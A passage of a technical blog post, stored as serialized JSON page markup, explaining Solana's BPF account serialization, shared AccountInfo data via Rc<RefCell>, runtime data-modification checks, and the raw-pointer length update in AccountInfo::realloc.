MAX_PERMITTED_DATA_INCREASE;\n",{"type":24,"tag":83,"props":14960,"children":14961},{"class":85,"line":302},[14962,14966,14970,14974,14978,14982,14986,14990,14994,14998,15002,15007,15012],{"type":24,"tag":83,"props":14963,"children":14964},{"style":137},[14965],{"type":29,"value":13646},{"type":24,"tag":83,"props":14967,"children":14968},{"style":143},[14969],{"type":29,"value":14807},{"type":24,"tag":83,"props":14971,"children":14972},{"style":107},[14973],{"type":29,"value":223},{"type":24,"tag":83,"props":14975,"children":14976},{"style":137},[14977],{"type":29,"value":13646},{"type":24,"tag":83,"props":14979,"children":14980},{"style":90},[14981],{"type":29,"value":8572},{"type":24,"tag":83,"props":14983,"children":14984},{"style":143},[14985],{"type":29,"value":9563},{"type":24,"tag":83,"props":14987,"children":14988},{"style":90},[14989],{"type":29,"value":9401},{"type":24,"tag":83,"props":14991,"children":14992},{"style":3163},[14993],{"type":29,"value":14377},{"type":24,"tag":83,"props":14995,"children":14996},{"style":107},[14997],{"type":29,"value":2872},{"type":24,"tag":83,"props":14999,"children":15000},{"style":143},[15001],{"type":29,"value":161},{"type":24,"tag":83,"props":15003,"children":15004},{"style":101},[15005],{"type":29,"value":15006},"align_offset",{"type":24,"tag":83,"props":15008,"children":15009},{"style":107},[15010],{"type":29,"value":15011},"(BPF_ALIGN_OF_U128); ",{"type":24,"tag":83,"props":15013,"children":15014},{"style":2735},[15015],{"type":29,"value":15016},"// padding\n",{"type":24,"tag":25,"props":15018,"children":15019},{},[15020,15022,15027,15029,15035,15037,15048,15050,15055,15057,15063,15065,15071,15072,15078],{"type":29,"value":15021},"In English, we have the length of the data, as a ",{"type":24,"tag":32,"props":15023,"children":15025},{"className":15024},[],[15026],{"type":29,"value":7789},{"type":29,"value":15028},", followed immediately by the data, and an additional ",{"type":24,"tag":32,"props":15030,"children":15032},{"className":15031},[],[15033],{"type":29,"value":15034},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":15036}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":24,"tag":2033,"props":15038,"children":15041},{"href":15039,"rel":15040},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[2037],[15042],{"type":24,"tag":32,"props":15043,"children":15045},{"className":15044},[],[15046],{"type":29,"value":15047},"slice::from_raw_parts_mut",{"type":29,"value":15049},") - slices are how Rust represents a, well, ",{"type":24,"tag":2655,"props":15051,"children":15052},{},[15053],{"type":29,"value":15054},"slice",{"type":29,"value":15056}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":24,"tag":32,"props":15058,"children":15060},{"className":15059},[],[15061],{"type":29,"value":15062},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":15064},", giving us the unwieldy-looking type of ",{"type":24,"tag":32,"props":15066,"children":15068},{"className":15067},[],[15069],{"type":29,"value":15070},"AccountInfo.data",{"type":29,"value":1920},{"type":24,"tag":32,"props":15073,"children":15075},{"className":15074},[],[15076],{"type":29,"value":15077},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":161},{"type":24,"tag":25,"props":15080,"children":15081},{},[15082,15084,15091],{"type":29,"value":15083},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":24,"tag":2033,"props":15085,"children":15088},{"href":15086,"rel":15087},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[2037],[15089],{"type":29,"value":15090},"cloning the referenced account",{"type":29,"value":195},{"type":24,"tag":73,"props":15093,"children":15095},{"className":2725,"code":15094,"language":2724,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[15096],{"type":24,"tag":32,"props":15097,"children":15098},{"__ignoreMap":7},[15099,15107],{"type":24,"tag":83,"props":15100,"children":15101},{"class":85,"line":86},[15102],{"type":24,"tag":83,"props":15103,"children":15104},{"style":2735},[15105],{"type":29,"value":15106},"// Duplicate account, clone the original\n",{"type":24,"tag":83,"props":15108,"children":15109},{"class":85,"line":113},[15110,15114,15118,15122,15126,15130,15134,15139,15143,15147,15152,15156,15160],{"type":24,"tag":83,"props":15111,"children":15112},{"style":137},[15113],{"type":29,"value":14418},{"type":24,"tag":83,"props":15115,"children":15116},{"style":143},[15117],{"type":29,"value":161},{"type":24,"tag":83,"props":15119,"children":15120},{"style":101},[15121],{"type":29,"value":3556},{"type":24,"tag":83,"props":15123,"children":15124},{"style":107},[15125],{"type":29,"value":558},{"type":24,"tag":83,"props":15127,"children":15128},{"style":137},[15129],{"type":29,"value":14418},{"type":24,"tag":83,"props":15131,"children":15132},{"style":107},[15133],{"type":29,"value":1161},{"type":24,"tag":83,"props":15135,"children":15136},{"style":137},[15137],{"type":29,"value":15138},"dup_info",{"type":24,"tag":83,"props":15140,"children":15141},{"style":90},[15142],{"type":29,"value":8572},{"type":24,"tag":83,"props":15144,"children":15145},{"style":3163},[15146],{"type":29,"value":13476},{"type":24,"tag":83,"props":15148,"children":15149},{"style":107},[15150],{"type":29,"value":15151},"]",{"type":24,"tag":83,"props":15153,"children":15154},{"style":143},[15155],{"type":29,"value":161},{"type":24,"tag":83,"props":15157,"children":15158},{"style":101},[15159],{"type":29,"value":733},{"type":24,"tag":83,"props":15161,"children":15162},{"style":107},[15163],{"type":29,"value":15164},"());\n",{"type":24,"tag":25,"props":15166,"children":15167},{},[15168,15170,15175,15177,15182,15184,15189,15191,15196,15197,15203,15205,15210,15212,15224,15226,15231],{"type":29,"value":15169},"Since ",{"type":24,"tag":32,"props":15171,"children":15173},{"className":15172},[],[15174],{"type":29,"value":839},{"type":29,"value":15176}," inside the ",{"type":24,"tag":32,"props":15178,"children":15180},{"className":15179},[],[15181],{"type":29,"value":14681},{"type":29,"value":15183}," is a ",{"type":24,"tag":32,"props":15185,"children":15187},{"className":15186},[],[15188],{"type":29,"value":15062},{"type":29,"value":15190},", where the ",{"type":24,"tag":32,"props":15192,"children":15194},{"className":15193},[],[15195],{"type":29,"value":5733},{"type":29,"value":15183},{"type":24,"tag":32,"props":15198,"children":15200},{"className":15199},[],[15201],{"type":29,"value":15202},"&mut [u8]",{"type":29,"value":15204}," pointing at the actual data buffer, when we clone the ",{"type":24,"tag":32,"props":15206,"children":15208},{"className":15207},[],[15209],{"type":29,"value":14681},{"type":29,"value":15211},", we get a new reference",{"type":24,"tag":15213,"props":15214,"children":15215},"sup",{},[15216],{"type":24,"tag":2033,"props":15217,"children":15222},{"href":15218,"ariaDescribedBy":15219,"dataFootnoteRef":7,"id":15221},"#user-content-fn-rc-refs",[15220],"footnote-label","user-content-fnref-rc-refs",[15223],{"type":29,"value":3756},{"type":29,"value":15225}," to the slice pointing at the ",{"type":24,"tag":2655,"props":15227,"children":15228},{},[15229],{"type":29,"value":15230},"same",{"type":29,"value":15232}," data buffer.",{"type":24,"tag":25,"props":15234,"children":15235},{},[15236,15238,15244,15246,15252],{"type":29,"value":15237},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":24,"tag":32,"props":15239,"children":15241},{"className":15240},[],[15242],{"type":29,"value":15243},"RefCell",{"type":29,"value":15245}," to check the rules at runtime. (The ",{"type":24,"tag":32,"props":15247,"children":15249},{"className":15248},[],[15250],{"type":29,"value":15251},"lamports",{"type":29,"value":15253}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":24,"tag":25,"props":15255,"children":15256},{},[15257,15259,15265],{"type":29,"value":15258},"Changing the data of an account is done by simply writing to ",{"type":24,"tag":32,"props":15260,"children":15262},{"className":15261},[],[15263],{"type":29,"value":15264},"AccountInfo::data",{"type":29,"value":15266},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":24,"tag":25,"props":15268,"children":15269},{},[15270,15272,15279],{"type":29,"value":15271},"This is also where the ",{"type":24,"tag":2033,"props":15273,"children":15276},{"href":15274,"rel":15275},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[2037],[15277],{"type":29,"value":15278},"runtime validity checks",{"type":29,"value":15280}," are imposed.",{"type":24,"tag":73,"props":15282,"children":15284},{"className":2725,"code":15283,"language":2724,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[15285],{"type":24,"tag":32,"props":15286,"children":15287},{"__ignoreMap":7},[15288,15296,15304,15312,15353,15371,15400,15445,15452,15475,15510,15533,15565,15580,15612,15619],{"type":24,"tag":83,"props":15289,"children":15290},{"class":85,"line":86},[15291],{"type":24,"tag":83,"props":15292,"children":15293},{"style":2735},[15294],{"type":29,"value":15295},"// Only the owner may change account data\n",{"type":24,"tag":83,"props":15297,"children":15298},{"class":85,"line":113},[15299],{"type":24,"tag":83,"props":15300,"children":15301},{"style":2735},[15302],{"type":29,"value":15303},"//   and if the account is writable\n",{"type":24,"tag":83,"props":15305,"children":15306},{"class":85,"line":128},[15307],{"type":24,"tag":83,"props":15308,"children":15309},{"style":2735},[15310],{"type":29,"value":15311},"//   and if the account is not executable\n",{"type":24,"tag":83,"props":15313,"children":15314},{"class":85,"line":183},[15315,15319,15323,15327,15331,15335,15340,15344,15349],{"type":24,"tag":83,"props":15316,"children":15317},{"style":117},[15318],{"type":29,"value":1094},{"type":24,"tag":83,"props":15320,"children":15321},{"style":143},[15322],{"type":29,"value":12609},{"type":24,"tag":83,"props":15324,"children":15325},{"style":107},[15326],{"type":29,"value":558},{"type":24,"tag":83,"props":15328,"children":15329},{"style":137},[15330],{"type":29,"value":14409},{"type":24,"tag":83,"props":15332,"children":15333},{"style":143},[15334],{"type":29,"value":3028},{"type":24,"tag":83,"props":15336,"children":15337},{"style":137},[15338],{"type":29,"value":15339}," pre",{"type":24,"tag":83,"props":15341,"children":15342},{"style":143},[15343],{"type":29,"value":161},{"type":24,"tag":83,"props":15345,"children":15346},{"style":101},[15347],{"type":29,"value":15348},"owner",{"type":24,"tag":83,"props":15350,"children":15351},{"style":107},[15352],{"type":29,"value":7483},{"type":24,"tag":83,"props":15354,"children":15355},{"class":85,"line":203},[15356,15361,15366],{"type":24,"tag":83,"props":15357,"children":15358},{"style":143},[15359],{"type":29,"value":15360},"    &&",{"type":24,"tag":83,"props":15362,"children":15363},{"style":137},[15364],{"type":29,"value":15365}," is_writable",{"type":24,"tag":83,"props":15367,"children":15368},{"style":2735},[15369],{"type":29,"value":15370},"  // line coverage used to get branch coverage\n",{"type":24,"tag":83,"props":15372,"children":15373},{"class":85,"line":212},[15374,15378,15382,15386,15390,15395],{"type":24,"tag":83,"props":15375,"children":15376},{"style":143},[15377],{"type":29,"value":15360},{"type":24,"tag":83,"props":15379,"children":15380},{"style":143},[15381],{"type":29,"value":12609},{"type":24,"tag":83,"props":15383,"children":15384},{"style":137},[15385],{"type":29,"value":73},{"type":24,"tag":83,"props":15387,"children":15388},{"style":143},[15389],{"type":29,"value":161},{"type":24,"tag":83,"props":15391,"children":15392},{"style":101},[15393],{"type":29,"value":15394},"executable",{"type":24,"tag":83,"props":15396,"children":15397},{"style":107},[15398],{"type":29,"value":15399},"())\n",{"type":24,"tag":83,"props":15401,"children":15402},{"class":85,"line":256},[15403,15407,15411,15415,15419,15423,15428,15433,15437,15441],{"type":24,"tag":83,"props":15404,"children":15405},{"style":143},[15406],{"type":29,"value":15360},{"type":24,"tag":83,"props":15408,"children":15409},{"style":137},[15410],{"type":29,"value":15339},{"type":24,"tag":83,"props":15412,"children":15413},{"style":143},[15414],{"type":29,"value":161},{"type":24,"tag":83,"props":15416,"children":15417},{"style":101},[15418],{"type":29,"value":839},{"type":24,"tag":83,"props":15420,"children":15421},{"style":107},[15422],{"type":29,"value":13788},{"type":24,"tag":83,"props":15424,"children":15425},{"style":143},[15426],{"type":29,"value":15427},"!=",{"type":24,"tag":83,"props":15429,"children":15430},{"style":137},[15431],{"type":29,"value":15432}," post",{"type":24,"tag":83,"props":15434,"children":15435},{"style":143},[15436],{"type":29,"value":161},{"type":24,"tag":83,"props":15438,"children":15439},{"style":101},[15440],{"type":29,"value":839},{"type":24,"tag":83,"props":15442,"children":15443},{"style":107},[15444],{"type":29,"value":7483},{"type":24,"tag":83,"props":15446,"children":15447},{"class":85,"line":270},[15448],{"type":24,"tag":83,"props":15449,"children":15450},{"style":107},[15451],{"type":29,"value":10628},{"type":24,"tag":83,"props":15453,"children":15454},{"class":85,"line":302},[15455,15459,15463,15467,15471],{"type":24,"tag":83,"props":15456,"children":15457},{"style":117},[15458],{"type":29,"value":218},{"type":24,"tag":83,"props":15460,"children":15461},{"style":137},[15462],{"type":29,"value":15339},{"type":24,"tag":83,"props":15464,"children":15465},{"style":143},[15466],{"type":29,"value":161},{"type":24,"tag":83,"props":15468,"children":15469},{"style":101},[15470],{"type":29,"value":15394},{"type":24,"tag":83,"props":15472,"children":15473},{"style":107},[15474],{"type":29,"value":110},{"type":24,"tag":83,"props":15476,"children":15477},{"class":85,"line":324},[15478,15483,15488,15492,15497,15501,15506],{"type":24,"tag":83,"props":15479,"children":15480},{"style":117},[15481],{"type":29,"value":15482},"        return",{"type":24,"tag":83,"props":15484,"children":15485},{"style":3163},[15486],{"type":29,"value":15487}," Err",{"type":24,"tag":83,"props":15489,"children":15490},{"style":107},[15491],{"type":29,"value":558},{"type":24,"tag":83,"props":15493,"children":15494},{"style":3163},[15495],{"type":29,"value":15496},"InstructionError",{"type":24,"tag":83,"props":15498,"children":15499},{"style":143},[15500],{"type":29,"value":3226},{"type":24,"tag":83,"props":15502,"children":15503},{"style":3163},[15504],{"type":29,"value":15505},"ExecutableDataModified",{"type":24,"tag":83,"props":15507,"children":15508},{"style":107},[15509],{"type":29,"value":581},{"type":24,"tag":83,"props":15511,"children":15512},{"class":85,"line":345},[15513,15517,15521,15525,15529],{"type":24,"tag":83,"props":15514,"children":15515},{"style":107},[15516],{"type":29,"value":373},{"type":24,"tag":83,"props":15518,"children":15519},{"style":117},[15520],{"type":29,"value":378},{"type":24,"tag":83,"props":15522,"children":15523},{"style":117},[15524],{"type":29,"value":383},{"type":24,"tag":83,"props":15526,"children":15527},{"style":137},[15528],{"type":29,"value":15365},{"type":24,"tag":83,"props":15530,"children":15531},{"style":107},[15532],{"type":29,"value":125},{"type":24,"tag":83,"props":15534,"children":15535},{"class":85,"line":358},[15536,15540,15544,15548,15552,15556,15561],{"type":24,"tag":83,"props":15537,"children":15538},{"style":117},[15539],{"type":29,"value":15482},{"type":24,"tag":83,"props":15541,"children":15542},{"style":3163},[15543],{"type":29,"value":15487},{"type":24,"tag":83,"props":15545,"children":15546},{"style":107},[15547],{"type":29,"value":558},{"type":24,"tag":83,"props":15549,"children":15550},{"style":3163},[15551],{"type":29,"value":15496},{"type":24,"tag":83,"props":15553,"children":15554},{"style":143},[15555],{"type":29,"value":3226},{"type":24,"tag":83,"props":15557,"children":15558},{"style":3163},[15559],{"type":29,"value":15560},"ExternalAccountDataModified",{"type":24,"tag":83,"props":15562,"children":15563},{"style":107},[15564],{"type":29,"value":581},{"type":24,"tag":83,"props":15566,"children":15567},{"class":85,"line":367},[15568,15572,15576],{"type":24,"tag":83,"props":15569,"children":15570},{"style":107},[15571],{"type":29,"value":373},{"type":24,"tag":83,"props":15573,"children":15574},{"style":117},[15575],{"type":29,"value":378},{"type":24,"tag":83,"props":15577,"children":15578},{"style":107},[15579],{"type":29,"value":125},{"type":24,"tag":83,"props":15581,"children":15582},{"class":85,"line":406},[15583,15587,15591,15595,15599,15603,15608],{"type":24,"tag":83,"props":15584,"children":15585},{"style":117},[15586],{"type":29,"value":15482},{"type":24,"tag":83,"props":15588,"children":15589},{"style":3163},[15590],{"type":29,"value":15487},{"type":24,"tag":83,"props":15592,"children":15593},{"style":107},[15594],{"type":29,"value":558},{"type":24,"tag":83,"props":15596,"children":15597},{"style":3163},[15598],{"type":29,"value":15496},{"type":24,"tag":83,"props":15600,"children":15601},{"style":143},[15602],{"type":29,"value":3226},{"type":24,"tag":83,"props":15604,"children":15605},{"style":3163},[15606],{"type":29,"value":15607},"ReadonlyDataModified",{"type":24,"tag":83,"props":15609,"children":15610},{"style":107},[15611],{"type":29,"value":581},{"type":24,"tag":83,"props":15613,"children":15614},{"class":85,"line":427},[15615],{"type":24,"tag":83,"props":15616,"children":15617},{"style":107},[15618],{"type":29,"value":446},{"type":24,"tag":83,"props":15620,"children":15621},{"class":85,"line":440},[15622],{"type":24,"tag":83,"props":15623,"children":15624},{"style":107},[15625],{"type":29,"value":464},{"type":24,"tag":1818,"props":15627,"children":15629},{"id":15628},"back-to-realloc",[15630,15632],{"type":29,"value":15631},"Back to ",{"type":24,"tag":32,"props":15633,"children":15635},{"className":15634},[],[15636],{"type":29,"value":13383},{"type":24,"tag":25,"props":15638,"children":15639},{},[15640],{"type":29,"value":15641},"As a reminder, this is what we were looking at before that detour:",{"type":24,"tag":73,"props":15643,"children":15644},{"className":2725,"code":14134,"language":2724,"meta":7,"style":7},[15645],{"type":24,"tag":32,"props":15646,"children":15647},{"__ignoreMap":7},[15648,15655,15742],{"type":24,"tag":83,"props":15649,"children":15650},{"class":85,"line":86},[15651],{"type":24,"tag":83,"props":15652,"children":15653},{"style":2735},[15654],{"type":29,"value":14146},{"type":24,"tag":83,"props":15656,"children":15657},{"class":85,"line":113},[15658,15662,15666,15670,15674,15678,15682,15686,15690,15694,15698,15702,15706,15710,15714,15718,15722,15726,15730,15734,15738],{"type":24,"tag":83,"props":15659,"children":15660},{"style":90},[15661],{"type":29,"value":11534},{"type":24,"tag":83,"props":15663,"children":15664},{"style":137},[15665],{"type":29,"value":13602},{"type":24,"tag":83,"props":15667,"children":15668},{"style":143},[15669],{"type":29,"value":146},{"type":24,"tag":83,"props":15671,"children":15672},{"style":90},[15673],{"type":29,"value":13542},{"type":24,"tag":83,"props":15675,"children":15676},{"style":143},[15677],{"type":29,"value":161},{"type":24,"tag":83,"props":15679,"children":15680},{"style":101},[15681],{"type":29,"value":13619},{"type":24,"tag":83,"props":15683,"children":15684},{"style":107},[15685],{"type":29,"value":13624},{"type":24,"tag":83,"props":15687,"children":15688},{"style":143},[15689],{"type":29,"value":2877},{"type":24,"tag":83,"props":15691,"children":15692},{"style":101},[15693],{"type":29,"value":13633},{"type":24,"tag":83,"props":15695,"children":15696},{"style":107},[15697],{"type":29,"value":13624},{"type":24,"tag":83,"props":15699,"children":15700},{"style":143},[15701],{"type":29,"value":161},{"type":24,"tag":83,"props":15703,"children":15704},{"style":101},[15705],{"type":29,"value":13646},{"type":24,"tag":83,"props":15707,"children":15708},{"style":107},[15709],{"type":29,"value":558},{"type":24,"tag":83,"props":15711,"children":15712},{"style":143},[15713],{"type":29,"value":4072},{"type":24,"tag":83,"props":15715,"children":15716},{"style":245},[15717],{"type":29,"value":3819},{"type":24,"tag":83,"props":15719,"children":15720},{"style":107},[15721],{"type":29,"value":633},{"type":24,"tag":83,"props":15723,"children":15724},{"style":90},[15725],{"type":29,"value":8586},{"type":24,"tag":83,"props":15727,"children":15728},{"style":143},[15729],{"type":29,"value":9563},{"type":24,"tag":83,"props":15731,"children":15732},{"style":90},[15733],{"type":29,"value":3468},{"type":24,"tag":83,"props":15735,"children":15736},{"style":3163},[15737],{"type":29,"value":5606},{"type":24,"tag":83,"props":15739,"children":15740},{"style":107},[15741],{"type":29,"value":321},{"type":24,"tag":83,"props":15743,"children":15744},{"class":85,"line":128},[15745,15749,15753,15757,15761,15765,15769],{"type":24,"tag":83,"props":15746,"children":15747},{"style":143},[15748],{"type":29,"value":4315},{"type":24,"tag":83,"props":15750,"children":15751},{"style":137},[15752],{"type":29,"value":13694},{"type":24,"tag":83,"props":15754,"children":15755},{"style":143},[15756],{"type":29,"value":146},{"type":24,"tag":83,"props":15758,"children":15759},{"style":137},[15760],{"type":29,"value":13703},{"type":24,"tag":83,"props":15762,"children":15763},{"style":90},[15764],{"type":29,"value":8572},{"type":24,"tag":83,"props":15766,"children":15767},{"style":3163},[15768],{"type":29,"value":5606},{"type":24,"tag":83,"props":15770,"children":15771},{"style":107},[15772],{"type":29,"value":321},{"type":24,"tag":25,"props":15774,"children":15775},{},[15776,15781,15783,15788,15790,15795,15797,15808,15810,15815,15817,15822],{"type":24,"tag":32,"props":15777,"children":15779},{"className":15778},[],[15780],{"type":29,"value":13619},{"type":29,"value":15782}," gives us the ",{"type":24,"tag":32,"props":15784,"children":15786},{"className":15785},[],[15787],{"type":29,"value":15202},{"type":29,"value":15789}," from the ",{"type":24,"tag":32,"props":15791,"children":15793},{"className":15792},[],[15794],{"type":29,"value":15077},{"type":29,"value":15796},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":24,"tag":2033,"props":15798,"children":15801},{"href":15799,"rel":15800},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[2037],[15802],{"type":24,"tag":32,"props":15803,"children":15805},{"className":15804},[],[15806],{"type":29,"value":15807},"slice::as_mut_ptr()",{"type":29,"value":15809}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":24,"tag":32,"props":15811,"children":15813},{"className":15812},[],[15814],{"type":29,"value":7789},{"type":29,"value":15816}," - behind the data buffer), and then writes ",{"type":24,"tag":32,"props":15818,"children":15820},{"className":15819},[],[15821],{"type":29,"value":13467},{"type":29,"value":15823}," to it.",{"type":24,"tag":25,"props":15825,"children":15826},{},[15827,15829,15841,15843,15849],{"type":29,"value":15828},"This is reasonable... ",{"type":24,"tag":2655,"props":15830,"children":15831},{},[15832,15834,15839],{"type":29,"value":15833},"as long as the ",{"type":24,"tag":32,"props":15835,"children":15837},{"className":15836},[],[15838],{"type":29,"value":839},{"type":29,"value":15840}," actually came from the serialized buffer",{"type":29,"value":15842},". We'll come back to this ",{"type":24,"tag":2033,"props":15844,"children":15846},{"href":15845},"#Not-contracts",[15847],{"type":29,"value":15848},"later",{"type":29,"value":161},{"type":24,"tag":25,"props":15851,"children":15852},{},[15853,15855,15860],{"type":29,"value":15854},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":24,"tag":32,"props":15856,"children":15858},{"className":15857},[],[15859],{"type":29,"value":15202},{"type":29,"value":15861}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":24,"tag":73,"props":15863,"children":15865},{"className":2725,"code":15864,"language":2724,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[15866],{"type":24,"tag":32,"props":15867,"children":15868},{"__ignoreMap":7},[15869,15877,16004],{"type":24,"tag":83,"props":15870,"children":15871},{"class":85,"line":86},[15872],{"type":24,"tag":83,"props":15873,"children":15874},{"style":2735},[15875],{"type":29,"value":15876},"// Then set the new length in the local slice\n",{"type":24,"tag":83,"props":15878,"children":15879},{"class":85,"line":113},[15880,15884,15888,15892,15896,15900,15904,15908,15912,15916,15920,15924,15928,15932,15936,15940,15944,15948,15952,15956,15960,15964,15968,15972,15976,15980,15984,15988,15992,15996,16000],{"type":24,"tag":83,"props":15881,"children":15882},{"style":90},[15883],{"type":29,"value":11534},{"type":24,"tag":83,"props":15885,"children":15886},{"style":137},[15887],{"type":29,"value":13602},{"type":24,"tag":83,"props":15889,"children":15890},{"style":143},[15891],{"type":29,"value":146},{"type":24,"tag":83,"props":15893,"children":15894},{"style":143},[15895],{"type":29,"value":6888},{"type":24,"tag":83,"props":15897,"children":15898},{"style":90},[15899],{"type":29,"value":3468},{"type":24,"tag":83,"props":15901,"children":15902},{"style":143},[15903],{"type":29,"value":9563},{"type":24,"tag":83,"props":15905,"children":15906},{"style":107},[15907],{"type":29,"value":13762},{"type":24,"tag":83,"props":15909,"children":15910},{"style":90},[15911],{"type":29,"value":13458},{"type":24,"tag":83,"props":15913,"children":15914},{"style":143},[15915],{"type":29,"value":161},{"type":24,"tag":83,"props":15917,"children":15918},{"style":107},[15919],{"type":29,"value":839},{"type":24,"tag":83,"props":15921,"children":15922},{"style":143},[15923],{"type":29,"value":161},{"type":24,"tag":83,"props":15925,"children":15926},{"style":101},[15927],{"type":29,"value":13783},{"type":24,"tag":83,"props":15929,"children":15930},{"style":107},[15931],{"type":29,"value":13788},{"type":24,"tag":83,"props":15933,"children":15934},{"style":90},[15935],{"type":29,"value":8586},{"type":24,"tag":83,"props":15937,"children":15938},{"style":143},[15939],{"type":29,"value":9563},{"type":24,"tag":83,"props":15941,"children":15942},{"style":90},[15943],{"type":29,"value":9401},{"type":24,"tag":83,"props":15945,"children":15946},{"style":3163},[15947],{"type":29,"value":5606},{"type":24,"tag":83,"props":15949,"children":15950},{"style":107},[15951],{"type":29,"value":2872},{"type":24,"tag":83,"props":15953,"children":15954},{"style":143},[15955],{"type":29,"value":161},{"type":24,"tag":83,"props":15957,"children":15958},{"style":101},[15959],{"type":29,"value":13646},{"type":24,"tag":83,"props":15961,"children":15962},{"style":107},[15963],{"type":29,"value":558},{"type":24,"tag":83,"props":15965,"children":15966},{"style":245},[15967],{"type":29,"value":3756},{"type":24,"tag":83,"props":15969,"children":15970},{"style":107},[15971],{"type":29,"value":633},{"type":24,"tag":83,"props":15973,"children":15974},{"style":90},[15975],{"type":29,"value":8586},{"type":24,"tag":83,"props":15977,"children":15978},{"style":3163},[15979],{"type":29,"value":5606},{"type":24,"tag":83,"props":15981,"children":15982},{"style":107},[15983],{"type":29,"value":633},{"type":24,"tag":83,"props":15985,"children":15986},{"style":90},[15987],{"type":29,"value":8586},{"type":24,"tag":83,"props":15989,"children":15990},{"style":143},[15991],{"type":29,"value":9563},{"type":24,"tag":83,"props":15993,"children":15994},{"style":90},[15995],{"type":29,"value":3468},{"type":24,"tag":83,"props":15997,"children":15998},{"style":3163},[15999],{"type":29,"value":5606},{"type":24,"tag":83,"props":16001,"children":16002},{"style":107},[16003],{"type":29,"value":581},{"type":24,"tag":83,"props":16005,"children":16006},{"class":85,"line":128},[16007,16011,16015,16019,16023,16027,16031],{"type":24,"tag":83,"props":16008,"children":16009},{"style":143},[16010],{"type":29,"value":4315},{"type":24,"tag":83,"props":16012,"children":16013},{"style":137},[16014],{"type":29,"value":13694},{"type":24,"tag":83,"props":16016,"children":16017},{"style":143},[16018],{"type":29,"value":146},{"type":24,"tag":83,"props":16020,"children":16021},{"style":137},[16022],{"type":29,"value":13703},{"type":24,"tag":83,"props":16024,"children":16025},{"style":90},[16026],{"type":29,"value":8572},{"type":24,"tag":83,"props":16028,"children":16029},{"style":3163},[16030],{"type":29,"value":5606},{"type":24,"tag":83,"props":16032,"children":16033},{"style":107},[16034],{"type":29,"value":321},{"type":24,"tag":25,"props":16036,"children":16037},{},[16038,16040,16046,16048,16059,16061,16067,16069,16075,16077,16082,16084,16088,16090,16100,16101,16108,16109,16116,16123,16125,16131,16133,16139,16141,16146,16148,16153,16155,16161,16163,16168],{"type":29,"value":16039},"That ",{"type":24,"tag":32,"props":16041,"children":16043},{"className":16042},[],[16044],{"type":29,"value":16045},"as_ptr()",{"type":29,"value":16047}," call is ",{"type":24,"tag":2033,"props":16049,"children":16052},{"href":16050,"rel":16051},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[2037],[16053],{"type":24,"tag":32,"props":16054,"children":16056},{"className":16055},[],[16057],{"type":29,"value":16058},"RefCell::as_ptr()",{"type":29,"value":16060}," due to the ",{"type":24,"tag":32,"props":16062,"children":16064},{"className":16063},[],[16065],{"type":29,"value":16066},"Deref",{"type":29,"value":16068}," impl on ",{"type":24,"tag":32,"props":16070,"children":16072},{"className":16071},[],[16073],{"type":29,"value":16074},"Rc",{"type":29,"value":16076}," (remember also that ",{"type":24,"tag":32,"props":16078,"children":16080},{"className":16079},[],[16081],{"type":29,"value":15243},{"type":29,"value":16083}," itself doesn't behave like a reference, you need to actually ",{"type":24,"tag":2655,"props":16085,"children":16086},{},[16087],{"type":29,"value":619},{"type":29,"value":16089}," one through ",{"type":24,"tag":2033,"props":16091,"children":16094},{"href":16092,"rel":16093},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[2037],[16095],{"type":24,"tag":32,"props":16096,"children":16098},{"className":16097},[],[16099],{"type":29,"value":8546},{"type":29,"value":6204},{"type":24,"tag":2033,"props":16102,"children":16105},{"href":16103,"rel":16104},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[2037],[16106],{"type":29,"value":16107},"and",{"type":29,"value":6204},{"type":24,"tag":2033,"props":16110,"children":16113},{"href":16111,"rel":16112},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[2037],[16114],{"type":29,"value":16115},"frie",{"type":24,"tag":2033,"props":16117,"children":16120},{"href":16118,"rel":16119},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[2037],[16121],{"type":29,"value":16122},"nds",{"type":29,"value":16124},"). So from ",{"type":24,"tag":32,"props":16126,"children":16128},{"className":16127},[],[16129],{"type":29,"value":16130},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":16132}," we get a ",{"type":24,"tag":32,"props":16134,"children":16136},{"className":16135},[],[16137],{"type":29,"value":16138},"*mut &mut 